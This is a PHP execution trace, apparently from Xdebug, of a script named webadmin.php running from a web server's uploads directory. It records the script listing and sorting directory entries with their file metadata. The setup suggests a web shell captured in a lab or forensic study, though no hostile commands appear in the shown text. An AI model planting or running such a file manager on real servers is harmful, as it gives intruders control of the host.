3 181 0 0.009028 799616 sortlist 1 /var/www/html/uploads/webadmin.php 1213 3 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']] 'filename' FALSE
3 A /var/www/html/uploads/webadmin.php 907 $dirs = []
3 A /var/www/html/uploads/webadmin.php 908 $files = []
3 A /var/www/html/uploads/webadmin.php 910 $i = 0
4 182 0 0.009131 799616 sizeof 0 /var/www/html/uploads/webadmin.php 910 1 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 182 1 0.009200 799648
4 182 R 6
3 A /var/www/html/uploads/webadmin.php 912 $files[] = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
3 A /var/www/html/uploads/webadmin.php 910 $i++
4 183 0 0.009252 799992 sizeof 0 /var/www/html/uploads/webadmin.php 910 1 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 183 1 0.009320 800024
4 183 R 6
3 A /var/www/html/uploads/webadmin.php 911 $dirs[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/webadmin.php 910 $i++
4 184 0 0.009369 800368 sizeof 0 /var/www/html/uploads/webadmin.php 910 1 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 184 1 0.009436 800400
4 184 R 6
3 A /var/www/html/uploads/webadmin.php 911 $dirs[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/webadmin.php 910 $i++
4 185 0 0.009500 800368 sizeof 0 /var/www/html/uploads/webadmin.php 910 1 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 185 1 0.009568 800400
4 185 R 6
3 A /var/www/html/uploads/webadmin.php 912 $files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/webadmin.php 910 $i++
4 186 0 0.009617 800368 sizeof 0 /var/www/html/uploads/webadmin.php 910 1 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 186 1 0.009684 800400
4 186 R 6
3 A /var/www/html/uploads/webadmin.php 911 $dirs[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/webadmin.php 910 $i++
4 187 0 0.009732 800368 sizeof 0 /var/www/html/uploads/webadmin.php 910 1 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 187 1 0.009799 800400
4 187 R 6
3 A /var/www/html/uploads/webadmin.php 912 $files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/webadmin.php 910 $i++
4 188 0 0.009847 800368 sizeof 0 /var/www/html/uploads/webadmin.php 910 1 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 188 1 0.009914 800400
4 188 R 6
4 189 0 0.009927 800392 sizeof 0 /var/www/html/uploads/webadmin.php 915 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 189 1 0.009969 800424
4 189 R 3
4 190 0 0.009982 800392 quicksort 1 /var/www/html/uploads/webadmin.php 915 4 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 0 2 'filename'
5 191 0 0.010026 800392 floor 0 /var/www/html/uploads/webadmin.php 929 1 1
5 191 1 0.010039 800424
5 191 R 1
4 A /var/www/html/uploads/webadmin.php 929 $cmp = '.'
4 A /var/www/html/uploads/webadmin.php 931 $l = 0
4 A /var/www/html/uploads/webadmin.php 932 $r = 2
4 A /var/www/html/uploads/webadmin.php 937 $r--
4 A /var/www/html/uploads/webadmin.php 941 $tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/webadmin.php 942 $array[0] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/webadmin.php 943 $array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/webadmin.php 945 $l++
4 A /var/www/html/uploads/webadmin.php 946 $r--
